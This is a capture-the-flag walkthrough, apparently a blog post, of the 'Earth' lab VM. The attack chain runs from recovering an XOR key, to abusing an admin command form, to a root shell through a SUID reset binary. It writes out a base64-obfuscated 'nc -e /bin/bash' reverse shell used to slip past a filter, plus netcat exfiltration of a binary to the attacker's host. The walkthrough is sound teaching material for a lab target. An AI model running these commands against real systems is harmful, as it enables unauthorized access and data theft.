Earth. The final VM (in the planet series)
As is usual: find out what is on offer:
$ nmap 10.10.10.5 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 19:41 BST
Nmap scan report for 10.10.10.5
Host is up (3.4s latency).
Not shown: 911 filtered tcp ports (no-response), 86 filtered tcp ports (host-unreach)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
443/tcp open ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
A new port appears: https
When I visit the http port all I get is bad request errors. On the https endpoint (https://10.10.10.5
) I get the apache test page. Some quick checking for robots.txt
and some brief fuzzing of directories shows us some 403 forbidden errors and a cgi-bin
path which also leads now where.
Given that the other machines served over http only, I wonder if there’s a clue in the certificate? When viewed we notice there are two domains listed
Likely the webserver is configured to serve from those domains only. We can make this happen by adding the names to the local system’s hosts
file
$ cat /etc/hosts
# Host addresses
127.0.0.1 localhost
# Others
10.10.10.5 earth.local terratest.earth.local
This will resolve the two domains to 10.10.10.5
, the address of the VM in the internals network.
Let’s visit earth.local
to find a form to send encrypted messages to Earth. Some have already been sent. If we play around a bit with some values, we can see that the plaintext message is XORed with the key to produce the output. Make a note of that. There’s nothing else here it seems, no robots.txt
, so I try the terratest
URL.
This just says it’s a test site and to ignore it. Checking for robots.txt
however yields a result, specifically
Disallow: /testingnotes.*
I used a file extension wordlist and ran fuff
against it, but a guess at txt
would have been quicker 🙂. This file contains some useful information
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.
First of all the guess that it’s XOR was correct. There’s another file, testdata.txt
that was used to test the form with. There’s an admin portal.
Checking out earth.local/admin
provides a login form, but we don’t know that password. Perhaps the test data can help us. Knowing the XOR result and the original plaintext, I can get the key by XORing the two together again. Looking at the example messages, there’s only one that fits the length, and it’s also the first, so very likely to be the test message. The XOR is easily done with CyberChef
. The input is the hex string from the page, the key is the original plain text, which let’s me set up something like this:
There’s a possibility that the key used to encrypt the text is also the password for the admin page, so why not try it out? Sure enough, we are in
If use with care isn’t a big clue pointing to the fact that whatever command you type into the field will be run on the server, then I don’t know what is. Entering ls
into the field and hitting Run Command
shows us the output. The aim now is to somehow get a shell on this box using that field. First I need to work out what I have to work with on this box, and running ls /bin
from the form lists some commands, including nc
(netcat) so we could try and connect that way. On the local machine start a netcat listener
$ nc -nlp 9000
but when I try to connect from the webpage I get
Retry that with a domain name however and there’s no denied connection message. Perhaps encoding the command and decoding it will work? One way to find out.
$ echo -n "nc -e /bin/bash 10.10.10.2 9000" | base64
bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjEwLjIgOTAwMA==
Take that string and in the web form
echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjEwLjIgOTAwMA== | base64 -d | sh
back in our other terminal
$ nc -nlp 9000
whoami
apache
Sparkly, we have a shell. What now? Anything that runs as root on this box?
find / -perm -u=s
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
That reset_root
looks interesting. It’s a binary file, and in this shell there’s not much I can do with it. I need to figure out how to exfil the binary over netcat. Luckily the internet has all the information we need. On the local server run
$ nc -nlvp 9001 -q 1 > reset_root < /dev/null
listening on [any] 9001 ...
and then, doing the “base64 payload and submit in webform” technique again
$ echo "cat /usr/bin/reset_root | nc 10.10.10.2 9001" | base64
Y2F0IC91c3IvYmluL3Jlc2V0X3Jvb3QgfCBuYyAxMC4xMC4xMC4yIDkwMDEK
the binary file has arrived… opening in Ghidra…
From a cursory glance, we need to set or provide 3 reset flags in order for this script to reset the root password to Earth. The magic_cipher
method processes the strings passed to it in some way, but before starting to understand that better, best to take a look at the behaviour of this binary with ltrace
to see if it will reveal anything
$ ltrace ./reset_root
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
) = 38
access("/dev/shm/kHgTFI5G", 0) = -1
access("/dev/shm/Zw7bV9U5", 0) = -1
access("/tmp/kcM0Wewe", 0) = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
+++ exited (status 0) +++
It checks for three files before deciding whether or not to reset root - that’s a lot easier than trying to decode the magic_cipher
function. Starting up a new netcat connection, I can create the files, run the binary, and…
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.10.2] from (UNKNOWN) [10.10.10.5] 36756
touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe
reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
su -l
Earth
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cd
ls
anaconda-ks.cfg
root_flag.txt
I was hoping to learn more about using Ghidra in this post, but turns out the path was easier than expected. BUT I did persevere and managed to get the same info out of Ghidra, albeit with a lot more effort. From the disassembly it looks like the magic_cipher
processes two strings and stores the output in the third parameter. Applying some variable renaming
it’s clearer that the third argument is the result. It is also the argument that is passed into access
function, which is what checks if the file exists.
If we can read the contents of the result, we can also find the filenames that need to exist. Setting a breakpoint just before the access
call and stepping into the function in the debugger we can inspect the memory of the argument
I think you’ll agree that the ltrace solution is a lot less effort and much quicker.